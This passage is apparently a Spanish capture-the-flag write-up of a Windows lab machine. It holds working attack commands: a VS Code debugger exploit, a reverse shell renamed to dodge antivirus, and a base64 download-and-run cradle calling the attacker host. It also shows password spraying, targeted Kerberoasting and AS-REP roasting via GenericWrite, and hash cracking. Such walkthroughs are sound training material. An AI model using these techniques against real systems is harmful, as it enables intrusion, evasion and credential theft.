Por otro lado, revisando el grupo Remote Management Users, verificamos que el usuario que disponemos actualmente forma parte de dicho grupo, por lo tanto, si el servicio WinRM o RDP se encuentran habilitados podrรญamos conectarnos al equipo.

Abusing WinRM - EvilWinRM

Procederemos a autenticarnos al WinRM mediante la herramienta de evil-winrm y verificamos el correcto acceso y la flag de user.txt.

โฏ evil-winrm -i 10.10.10.179 -u 'tushikikatomo' -p 'finance1'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\alcibiades\Documents> type ../Desktop/user.txt
2b2455fff8**********************

Lateral Movement to cyork user

Revisando los directorios donde estรก montado el IIS (Internet Information Services) verificamos que no disponemos de acceso al directorio wwwroot.

*Evil-WinRM* PS C:\inetpub\wwwroot> ls
Access to the path 'C:\inetpub\wwwroot' is denied.
At line:1 char:1
+ ls
+ ~~
    + CategoryInfo          : PermissionDenied: (C:\inetpub\wwwroot:String) [Get-ChildItem], UnauthorizedAccessException
    + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

CEF Debugging Background (CVE-2019-1414)

Revisando las aplicaciones que se encuentran instaladas, verificamos que en la mรกquina se encuentra instalado la aplicaciรณn de Microsoft Visual Studio Code.

*Evil-WinRM* PS C:\Program Files> ls


    Directory: C:\Program Files


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        9/25/2019  10:59 AM                Common Files
d-----         1/9/2020   2:39 PM                Internet Explorer
d-----         1/7/2020   9:40 PM                Microsoft
da----         1/7/2020   7:47 PM                Microsoft SQL Server
d-----         1/7/2020   7:26 PM                Microsoft Visual Studio 10.0
da----         1/9/2020   3:18 AM                Microsoft VS Code
d-----         1/7/2020   7:27 PM                Microsoft.NET
d-----         1/7/2020   9:43 PM                Reference Assemblies
d-----        7/19/2021   1:07 AM                VMware
d-r---         1/9/2020   2:46 PM                Windows Defender
d-----         1/9/2020   2:39 PM                Windows Mail
d-----         1/9/2020   2:39 PM                Windows Media Player
d-----        7/16/2016   6:23 AM                Windows Multimedia Platform
d-----        7/16/2016   6:23 AM                Windows NT
d-----         1/9/2020   2:39 PM                Windows Photo Viewer
d-----        7/16/2016   6:23 AM                Windows Portable Devices
d-----        7/16/2016   6:23 AM                WindowsPowerShell

Revisando la versiรณn del Microsoft VS Code que se encuentra instalada en el equipo, verificamos que se trata de una versiรณn vulnerable al Remote Code Execution (CVE-2019-1414).

*Evil-WinRM* PS C:\Program Files\Microsoft VS Code> (Get-Command .\Code.exe).version

Major  Minor  Build  Revision
-----  -----  -----  --------
1      37     1      0

Revisando los procesos que se encuentran en ejecuciรณn, verificamos que hay procesos sobre la aplicaciรณn en funcionamiento, por lo que podrรญamos llegar a pensar que hay alguien ejecutando estos procesos.

*Evil-WinRM* PS C:\Users\alcibiades\Documents> ps

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    314      30    49612      73404               180   1 Code
    612      41    38972      82612               520   1 Code
    285      51    58000      74612              3144   1 Code
    406      22    15100      24416              3288   1 Code
    418      55   133956     170140              6368   1 Code
    200      15     6164      12856              6860   1 Code
...[snip]...

Esta es la descripciรณn del CVE que hemos encontrado, se aprovecha del debug listener para lograr ejecutar comandos y escalar privilegios.

Por lo tanto, procederemos a descargarnos el binario de cefdebug.exe del siguiente repositorio de GitHub.

Una vez tengamos el binario en nuestro equipo atacante, procederemos a levantar un servidor web con Python para compartir este archivo al equipo vรญctima.

โฏ ls
๏…บ cefdebug.exe  ๎˜‰ README.md

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo vรญctima (Windows), procederemos a descargarnos el binario de cefdebug.exe y lo depositaremos en la siguiente ruta C:\Windows\System32\spool\drivers\color para que el AppLocker no nos impida ejecutarlo.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IWR -Uri http://10.10.16.5/cefdebug.exe -OutFile cef.exe

Por otro lado, lo que probaremos primero de todo es revisar si desde el equipo vรญctima nos podemos establecer una Reverse Shell con los scripts de Nishang. En este caso, el script que utilizaremos es el de Invoke-PowerShellTcp.ps1.

En una terminal de nuestro equipo atacante, nos pondremos en escucha para recibir la Reverse Shell.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...

Renombraremos el archivo Invoke-PowerShellTcp.ps1 a rev.ps1 para que nos sea mรกs cรณmodo trabajar con este archivo y que pase mรกs desapercibido por el AV (Antivirus).

Deberemos de editar el script y aรฑadir al final de este mismo, la lรญnea que nos permite realizar la Reverse Shell, la adaptaremos con nuestra direcciรณn IP de atacante y el puerto por donde nos encontramos en escucha con nc.

Volveremos nuevamente a levantar un servidor web con Python para compartir este archivo con la mรกquina vรญctima.

โฏ tail -n 1 rev.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.5 -Port 443

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde la mรกquina comprometida, procederemos a ejecutar en memoria la Reverse Shell que estamos compartiendo desde nuestro servidor web. Verificamos que el script ha sido detectado por el AV (Antivirus) y nos lo ha bloqueado.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev.ps1")
At line:1 char:1
+ function Invoke-PowerShellTcp
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This script contains malicious content and has been blocked by your antivirus software.
At line:1 char:1
+ IEX (New-Object Net.WebCLient).downloadString("http://10.10.16.5/rev. ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand
*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color>

Para intentar evitar que nos detecte el AV el script de la Reverse Shell, procederemos a modificar el archivo que disponemos rev.ps1para eliminarle las lรญneas donde hay comentarios y a modificar el nombre de la funciรณn para que no sea detectado. Deberemos de cambiar el nombre de la funciรณn de la primera y รบltima sentencia por una nueva que pase desapercibida.

Una vez modificado el script rev.ps1, procederemos a ejecutar en memoria nuevamente el Script y en este caso verificamos que hemos logrado obtener la Reverse Shell correctamente.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49918
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\System32\spool\drivers\color>whoami
megacorp\tushikikatomo

Por otro lado, para que sea menos detectable la ejecuciรณn del IEX para obtener la Reverse Shell, lo que realizaremos es codificar en Base64 de Windows el comando utilizado.

โฏ echo 'IEX(New-Object Net.WebClient).downloadString("http://10.10.16.5/rev.ps1")' | iconv -t utf-16le | base64 -w 0; echo

SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==

Desde el equipo vรญctima, procederemos a ejecutar en una PowerShell el comando codificado en Base64.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> powershell -e <BASE64_CODE>

Verificaremos nuevamente que nos funciona correctamente la ejecuciรณn del IEX codificado en Base64.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49937
Windows PowerShell running as user tushikikatomo on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\System32\spool\drivers\color>

Una vez comprobado que podemos establecernos una Reverse Shell a travรฉs de un comando codificado en Base64, el siguiente paso serรก intentar realizar la explotaciรณn del CVE encontrado.

El primer paso serรก ejecutar el cef.exe (cefdebug) para realizar un escaneo de la mรกquina y verificar los servidores que se encuentran abiertos que parecen ser CEF debuggers.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe
cef.exe : [2025/01/13 11:09:28:7999] U: There are 3 tcp sockets in state listen.
    + CategoryInfo          : NotSpecified: ([2025/01/13 11:...n state listen.:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError
[2025/01/13 11:09:48:8442] U: There were 1 servers that appear to be CEF debuggers.
[2025/01/13 11:09:48:8442] U: ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3

Con el servidor obtenido, procederemos a realizar una ejecuciรณn del comando whoami para almacenar el resultado de la ejecuciรณn del comando realizado en un archivo TXT y visualizar si hemos logrado ejecutar comandos arbitrarios.

Al verificar el TXT que se nos ha generado, verificamos que el resultado del comando utilizado nos muestra que quien ejecuta el comando es el usuario cyork@megacorp.local.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('whoami > C:\\Windows\\System32\\spool\\drivers\\color\\gzzcoo.txt')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ls


    Directory: C:\Windows\System32\spool\drivers\color


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/13/2025  11:09 AM         259584 cef.exe
-a----        7/16/2016   6:18 AM           1058 D50.camp
-a----        7/16/2016   6:18 AM           1079 D65.camp
-a----        7/16/2016   6:18 AM            797 Graphics.gmmp
-a----        1/13/2025  11:13 AM             16 gzzcoo.txt
-a----        7/16/2016   6:18 AM            838 MediaSim.gmmp
-a----        7/16/2016   6:18 AM            786 Photo.gmmp
-a----        7/16/2016   6:18 AM            822 Proofing.gmmp
-a----        7/16/2016   6:18 AM         218103 RSWOP.icm
-a----        7/16/2016   6:18 AM           3144 sRGB Color Space Profile.icm
-a----        7/16/2016   6:18 AM          17155 wscRGB.cdmp
-a----        7/16/2016   6:18 AM           1578 wsRGB.cdmp


*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type gzzcoo.txt
megacorp\cyork

Sabiendo que quien ejecuta los comandos es otro usuario, la idea serรก lograr ejecutar una Reverse Shell para obtener acceso como el usuario reciรฉn mencionado. Utilizaremos el servidor que hemos encontrado y al ejecutar en una PowerShell el comando IEX anteriormente codificado en Base64 para que a la hora de ejecutar el comando sea descodificado y asรญ lograr obtener la Reverse Shell.

Previamente de la ejecuciรณn del comando, deberemos de ponernos en escucha con nc en nuestra Kali.

*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> ./cef.exe --code "process.mainModule.require('child_process').exec('powershell -e SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANgAuADUALwByAGUAdgAuAHAAcwAxACIAKQAKAA==')" --url ws://127.0.0.1:27031/fc016429-c7d8-4b91-82b7-026f514c68f3

Verificamos que hemos logrado obtener acceso correctamente como el usuario cyork@megacorp.local.

โฏ rlwrap -cAr nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.5] from (UNKNOWN) [10.10.10.179] 49824
Windows PowerShell running as user cyork on MULTIMASTER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Program Files\Microsoft VS Code>whoami
megacorp\cyork

Lateral Movement to sbauer user

MultimasterAPI.dll

Revisando los privilegios, permisos que disponemos con el usuario cyork, verificamos que disponemos acceso del directorio C:\inetpub\wwwroot\bin en la cual despuรฉs de una gran revisiรณn verificamos que al parecer hay un DLL nombrado MultimasterAPI.dll.

Este DLL se trata de una API (Application Programming Interface) personalizada de la pรกgina web del equipo. Como en mรกquinas de HTB anteriores, los archivos DLL suelen tener informaciรณn sensible.

PS C:\inetpub\wwwroot\bin> ls


    Directory: C:\inetpub\wwwroot\bin


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                          
        
d-----         1/7/2020   9:28 PM                roslyn                                                                
-a----        2/21/2013   7:13 PM         102912 Antlr3.Runtime.dll                                                    
-a----        2/21/2013   7:13 PM         431616 Antlr3.Runtime.pdb                                                    
-a----        5/24/2018   1:08 AM          40080 Microsoft.CodeDom.Providers.DotNetCompilerPlatform.dll                
-a----        7/24/2012  11:18 PM          45416 Microsoft.Web.Infrastructure.dll                                      
-a----         1/9/2020   4:13 AM          13824 MultimasterAPI.dll                                                    
-a----         1/9/2020   4:13 AM          28160 MultimasterAPI.pdb                                                    
-a----        2/17/2018   8:14 PM         664576 Newtonsoft.Json.dll                                                   
-a----       11/27/2018  11:30 PM         178808 System.Net.Http.Formatting.dll                                        
-a----       11/27/2018  11:28 PM          27768 System.Web.Cors.dll                                                   
-a----        1/27/2015   2:34 PM         139976 System.Web.Helpers.dll                                                
-a----       11/27/2018  11:31 PM          39352 System.Web.Http.Cors.dll                                              
-a----       11/27/2018  11:31 PM         455096 System.Web.Http.dll                                                   
-a----        1/31/2018  10:49 PM          77520 System.Web.Http.WebHost.dll                                           
-a----        1/27/2015   2:32 PM         566472 System.Web.Mvc.dll                                                    
-a----        2/11/2014   1:56 AM          70864 System.Web.Optimization.dll                                           
-a----        1/27/2015   2:32 PM         272072 System.Web.Razor.dll                                                  
-a----        1/27/2015   2:34 PM          41672 System.Web.WebPages.Deployment.dll                                    
-a----        1/27/2015   2:34 PM         211656 System.Web.WebPages.dll                                               
-a----        1/27/2015   2:34 PM          39624 System.Web.WebPages.Razor.dll                                         
-a----        7/17/2013   4:33 AM        1276568 WebGrease.dll 

Para compartirnos este archivo de la mรกquina vรญctima a nuestra mรกquina local, desde esta รบltima procederemos a levantar un servidor SMB con smbserver.py.

โฏ smbserver.py smbFolder $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed

Al tener nuestro servidor SMB montado, procederemos a realizar una copia al servidor SMB que disponemos.

PS C:\inetpub\wwwroot\bin> copy MultimasterAPI.dll \\10.10.16.5\smbFolder\MultimasterAPI.dll

Verificamos en nuestro equipo local que disponemos del archivo DLL correctamente transferido.

โฏ ls -l MultimasterAPI.dll
.rwxrwxr-x kali kali 14 KB Thu Jan  9 22:22:44 2020 ๏…บ MultimasterAPI.dll

Debugging with dnSpy

Procederemos a depurar el archivo DLL a travรฉs de la herramienta de dnSpy que podemos encontrar en el siguiente repositorio de GitHub. En este caso, hemos transferido el archivo en una VM de Windows para realizar el anรกlisis.

Al realizar una enumeraciรณn del DLL, revisamos que aparece en texto plano las siguientes credenciales D3veL0pM3nT!.

Password Spraying

Al realizar un Password Spraying sobre la contraseรฑa encontrada y el listado de usuarios del dominio que disponemos, verificamos que esta

โฏ nxc smb 10.10.10.179 -u users.txt -p 'D3veL0pM3nT!' --continue-on-success
...[snip]...
SMB         10.10.10.179    445    MULTIMASTER      [+] MEGACORP.LOCAL\sbauer:D3veL0pM3nT! 
...[snip]...

BloodHound Enumeration

A continuaciรณn, procederemos a realizar una enumeraciรณn del dominio entero a travรฉs de BloodHound. El siguiente comando nos crearรก un archivo .zip el cual contendrรก toda la informaciรณn del dominio. Lo que buscamos en realizar esta enumeraciรณn es buscar posibles vectores de ataque para escalar nuestros privilegios.

โฏ bloodhound-python -c All -ns 10.10.10.179 -u 'tushikikatomo' -p 'finance1' -d megacorp.local --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: megacorp.local
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: MULTIMASTER.MEGACORP.LOCAL
INFO: Found 28 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 10 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: MULTIMASTER.MEGACORP.LOCAL
INFO: Done in 00M 16S
INFO: Compressing output into 20250113181515_bloodhound.zip

Revisando en BloodHound, verificamos que solamente el usuario Administrator es un Domain Admin.

Revisando si existe algรบn usuario que sea susceptible a Kerberoasting Attack, es decir, aquellos usuarios que tengan un SPN (ServicePrincipalName) para solicitar posteriormente un TGS (Ticket Granting Service).

En este caso, verificamos que no hay ningรบn usuario que sea Kerberostable.

Al verificar si algรบn usuario dispone de la flag (DONT_REQ_PREAUTH) de Kerberos para realizar un AS-REP Roast Attack y asรญ lograr obtener un TGT (Ticket Granting Ticket), verificamos que ningรบn usuario tiene configurado esa opciรณn.

Enumerando a travรฉs de BloodHound, verificamos que el usuario que disponemos actualmente sbauer@megacorp.local dispone de privilegios GenericWrite sobre el usuario jorden@megacorp.local.

Este permiso lo que nos permite es la habilidad de escribir en atributos no protegidos sobre el objeto objetivo. Por ejemplo, podemos asignarle la flag de (DONT_REQ_PREAUTH) para que el usuario objetivo sea susceptible al AS-REP Roast Attack o asignarle un SPN (ServicePrincipalName) fรญcticio para que el usuario sea Kerberostable y obtener el TGS (Ticket Granting Service) para obtener el hash y posteriormente crackearlo.

Lateral Movement to jorden user

Abusing GenericWrite privileges to assign an SPN for performing a Kerberoasting attack

En esta primera secciรณn, lo que realizaremos es asignarle un SPN (ServicePrincipalName) ficticio al usuario objetivo jorden@megacorp.local para obtener el TGS (Ticket Granting Service), es decir, un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseรฑa en texto plano.

Antes de la explotaciรณn

Tal como habรญamos verificado en la enumeraciรณn de BloodHound, no habรญa ningรบn usuario que sea Kerberostable. Esto lo hemos podido comprobar nuevamente tal y como nos indica el resultado del ataque de Kerberoasting Attack realizado.

โฏ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
No entries found!

Despuรฉs de la explotaciรณn

Para realizar la explotaciรณn y abusar del privilegio GenericWrite sobre el usuario y asignarle un SPN ficticio, lo podremos hacer a travรฉs de las herramientas bloodyAD y impacket-GetUserSPNs.

A travรฉs del primer comando, lo que realizamos es asignarle un SPN (ServicePrincipalName) ficticio al usuario. Al volver a lanzar el ataque de Kerberoasting Attack, verificamos que ahora si nos aparece que haya un usuario Kerberoastable y nos devuelve el hash TGS (Ticket Granting Service).

โฏ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' set object "jorden" servicePrincipalName -v "cifs/gzzcoo"
[+] jorden's servicePrincipalName has been updated

โฏ impacket-GetUserSPNs -dc-ip 10.10.10.179 megacorp.local/sbauer -request 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Password:
ServicePrincipalName  Name    MemberOf                                      PasswordLastSet             LastLogon  Delegation 
--------------------  ------  --------------------------------------------  --------------------------  ---------  ----------
cifs/gzzcoo           jorden  CN=Developers,OU=Groups,DC=MEGACORP,DC=LOCAL  2020-01-10 01:48:17.503303  <never>               



[-] CCache file is not found. Skipping...
$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$2a6e1db70bc6b71b9dde07b99f410654$9c192702404f1ad82ae704a5cc8f6cb84ab26ab33e52864e7371fbad87df5b2f893a148f5f752784ec5e9f4a1f65479f357ec58103478ffebfec3b5801b54416f2c1f82ea7a7a83903717992feb83029c3b845d09db12ab3314d26953e819e78db0be5d32b02e3c1e3c4b290cd49f4cb74b0d843c55c6816d8f2c5c987047fd925178e89025601cdd958ed26d055403964842e297d2702734db02b9f23b127a22e56c5a4110cc9354f4f62931534820587d99243a6dca00fe7d209fb069f17b36b0743c7b6d2b4b8627dff9741d585967168d4a6fea18dbfcfa63160fabaa92317882f95adac2a5aae29b00527f7163e026d20287f0c772fea5f45527e3544cf1b4155510238ede88d8c40c73bfc80ed5cfd4efea78e77f0b539731ebb1165571e8b90d023f4784b744818cc9cd17ed3b91f67c1595f729b02eec154fef1b06ad4830b024892e8e1ff6601af120fbbf25ef7d444d3e99d625ecf8fcf7dd837bebc8f19a4eab05f2d63c628ce8361ded918ee7441d2a64c6d73ee71c576598c13bc04b6e98b84bb1340ac0ead118efcf3d1ece3789c297504a309c92247d0e021854c4d931caca5f87d6401cf8bdd17d9e6d4cba8270d2482636cd47cecf3f0b96c1807164ea04e7a09f44e7bfd4361ff0ae9ac23de5d51c5cbbecf51f17f3145eac49ddb20f0ab03f7697fe9298ed68a1110a90e8b49c528698e189742efc019a59c3f4cfb4edfc23307d14557b9bb3d8e5d12c4a5f4614ed1fefd90fb42217c0fa3031a317d0db5c96fed0e579a1b77d41a883e9f62dfe7d94d9a65c716c457712e2d86cdf242be44dd4ec530eebd5bd9ef61b31d1b39a8e6a8dc350533ffd782c9bd42b040b462fdb1a44454412bf6a6d4f709273b8cdebc827cdd2e9357fa834f58651320aeb836c2e66f383d6fe5b38eff2f625d604cd5cef2206f1e3a9f9e69a80a630bf4f9d9c16b1010488edb3d4af5667df8ea8b37f365294d655410366a47991dec36cc09058c321b99fbc8641b6c0df3d73e158cd9ed754a1cbd394587610f1643f3d06191911b21d3e446ce0b85c065f3848c61aa5f1b2a7dbc1d34a9079f3f9645ebffa9c2ead6e1f8fecfba87127f6ed9870d6c0ee34690dc589eeb153880ee92c5ef9841a0e17b0c87365f45d55d4e42c2c9aae388b52a353c8268b7bd769fc186d55e6dd835e8e0c750bc6eb24f67aba0c502d4f09f7ab793b328abd920862b9401255677bed9b92f097a40e8cbf67746e371d85858c2bcf49d426d344fd52341cf722bf426df7efdca897be63777960bacb12890979917e3a6d59bd7dace8255d551230af4db1f8faf45cd9815a39e0e0713d738fbee36b1cfd67e2f57d49f8d37418a494a

Otra de las herramientas para realizar este tipo de ataques de asignar un SPN ficticio a un usuario el cual dispongamos de privilegios, es a travรฉs de la herramienta de targetedKerberoast.

Esta herramienta automatiza el ataque de Kerberoasting Attack, solamente nos hace falta disponer de un usuario que tenga privilegios sobre otro para asignarle el SPN y la propia herramienta buscarรก a los usuarios objetivos, les asignarรก un SPN ficticio y nos imprimirรก los hashes obtenidos.

Para finalizar, la propia herramienta eliminarรก el SPN temporal asignado a los usuarios objetivos para evitar dejar rastro.

โฏ python3 /opt/targetedKerberoast/targetedKerberoast.py --dc-ip 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!'
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (jorden)
$krb5tgs$23$*jorden$MEGACORP.LOCAL$megacorp.local/jorden*$be06863d92e9721cc729f5e1eec12a2a$718d4eb0c3399da1f6cd0d3bee36bf1ec785617a598d1af2f7489db8ad0f92b36fb3e6dcf8e415d545062a304dbe127d7ad35e4647d57745093f0feeae5358914a33c3037a42edba8208cc411a9794d3fe0fb0f9c580e84184c6739dff9fbd2d66a4f89cd32a39a19c112fcb576bce48ac5ad0b7ae0ff0dbc9e8de85b1ca7423f82b78af866ccd9c71ceb05f8241121fd4ec9d9754d85ce8482b83676e8ba1d4c68783f174c5b12c89fa2dd72570107d2689304411ade47e1aa2ae120da74b7b718fd2547f960ce5c73c296f861b6c16483600bc9f109c8884b676e463a5ff354eec41d26ff87c88ff6d2dd4555e46c2aada265ceffd16f4ebe221ce999d9018bd6ea8125bd5f9c8e8e3cd10abf8c40c503d5e4bb18a430b140ad9dabc51131c45bfb105ea7d2f384b669fc7db91647b70f8929cb25c760313f1b6f836e28b40009b39337dcdf9fa4ca51a2cfffaa245b4024fd653141ad1e70d0753dd47b35002a55c5e124ffbe925d38a5aec3022892870f2e69773038c0009886e58cdebbda89030a2a8a8c0cbb97f8b16c2c0b341ff51eb90afb3303787ab942a14a5b24a17a2d9df4c2aa1358b70cf0958c3e8e88d1a9b5556d6751bb572bc91db79a3035e16d00ecd57f1eb7174cad879dea5a37e41e6842b8d2761ac0a00fe069436378c8d754b4c3614847e9660b62b302e2177410818115502d06312075a0e7af46f855cced6978e01d1df9a0c0ad4d9b4deb7c47bc9f19711f5edbe41b0df905d5d552351de2201ca0471266a64279970fdd7a1d600470a60f7b87e0393bf75fa773ff121a4cfacdb3f443659ca3c53da14a695179e7772382aa88e43ef86f3e462e2a37d39e22ea7589ac7e649e35b6113f656b6deb69b0ea5f42e55c88fea06716b37b1a089e6da8442983f0f8c1868a86455d766f17aa6c5ab965fc27a2058f70faaa0d24241e7cb594ccfdd33566b6a9b9595610b1f63968b2d2c27e0954d2bf009de3c438f6fbce841e5d4f3277c8e90554a76252951a489b9eacf3091c6da86873872c573fee255c8cc2ee0544afc2afc553c2c76531592c42935e4249dedb04409ef9594ecb723c8226cac72fa1eec0275c1b62d197bcc78dd3cc82a91664479e8724fb9308461e30a2a5e546b34d367fe52b3abc845ce23d36e419162e9c33e77ceb7fca0aa492f59c4204647b8d33080dc11b90b91b6169029808af527f6c6acb1ccc848e3771a0accbf4c7ba75381be92f112ec08e3758b0d205d2cae74e52eb1d0b78731a0713467cf01bc2adfc19623ac8389a8513965001cfc55b57d11091c90b5c835e7109883e68a83409e9e390924cf18defb21e13cd759ec92a858f926f42e713c52546b0c8c

Abusing GenericWrite privileges to set DONT_REQ_PREAUTH for AS-REP Roasting

En la siguiente secciรณn, lo que realizaremos es asignar al usuario objetivo jorden@megacorp.local la flag (DONT_REQ_PREAUTH) de Kerberos para que sea susceptible a AS-REP Roast Attack para obtener un TGT (Ticket Granting Ticket). Es decir, si logramos asignarle esa opciรณn al usuario, recibiremos un hash que posteriormente podremos intentar crackear de manera offline y obtener la contraseรฑa en texto plano.

Antes de la explotaciรณn

Tal como se nos indicaba en BloodHound, ninguno de los usuarios del dominio tenian asignado esa flag, eso lo hemos verificado nuevamente al realizar el ataque de AS-REP Roast Attack.

โฏ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

...[snip]...
[-] User jorden doesn't have UF_DONT_REQUIRE_PREAUTH set
...[snip]...

A travรฉs de la herramienta de bloodyAD procederemos a asignarle la flag de (DONT_REQ_PREAUTH) al usuario jorden@megacorp.local. Al asignarle esa flag y realizar nuevamente el ataque, verificamos que recibimos el hash TGT (Ticket Granting Ticket).

โฏ bloodyAD --host 10.10.10.179 -d megacorp.local -u 'sbauer' -p 'D3veL0pM3nT!' add uac 'jorden' -f DONT_REQ_PREAUTH
[-] ['DONT_REQ_PREAUTH'] property flags added to jorden's userAccountControl

โฏ impacket-GetNPUsers -no-pass -usersfile users.txt megacorp.local/ 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d
...[snip]...

Procederemos a crackear con hashcat cualquiera de los dos hashes obtenidos TGT/TGS. Verifiamos que hemos logrado obtener la contraseรฑa en texto plano.

โฏ hashcat -a 0 hashes /usr/share/wordlists/rockyou.txt
...[snip]...
$krb5asrep$23$jorden@MEGACORP.LOCAL:23e4403a846d9d192765cf32f4009d69$1ace15eacf503d3b23f5e5f21d3d46da309bb23f7d639d7258344d4f1b64bd9ea8af1e26b484688d83c8acdc605b3171322875257f8d85a909ce4f0f115cac65bb09d55fc73c48ce9897d817fa500cde93d239c3caee33f41d0ad29ca4a5cc67517b1cdf4a51cbee5c181c6e1aae2a79cc5b5b6e304f751fe5c449c7ff0010e66bc65771ce10cdfabdabcfa5d7dd5e973238da23a9b622e68da8b63851e4cfb950c51a53831c0be5268c3c6c7c94e0aad70a5ef93f469fd0cef8d3f3dc20d226066bcfa32ccbdb6ea8def727c054bc9aa12654bdafac4e4542845c0e58efd0225df48264c2559848f1f7dcfe0574c14d:rainforest786
...[snip]...

Verificaremos nuevamente que las credenciales obtenidas sean vรกlidas y que nos podamos conectar al equipo mediante evil-winrm ya que el usuario forma parte del grupo Remote Management Users.

โฏ nxc smb 10.10.10.179 -u 'jorden' -p 'rainforest786'
SMB         10.10.10.179    445    MULTIMASTER      [*] Windows Server 2016 Standard 14393 x64 (name:MULTIMASTER) (domain:MEGACORP.LOCAL) (signing:True) (SMBv1:True)
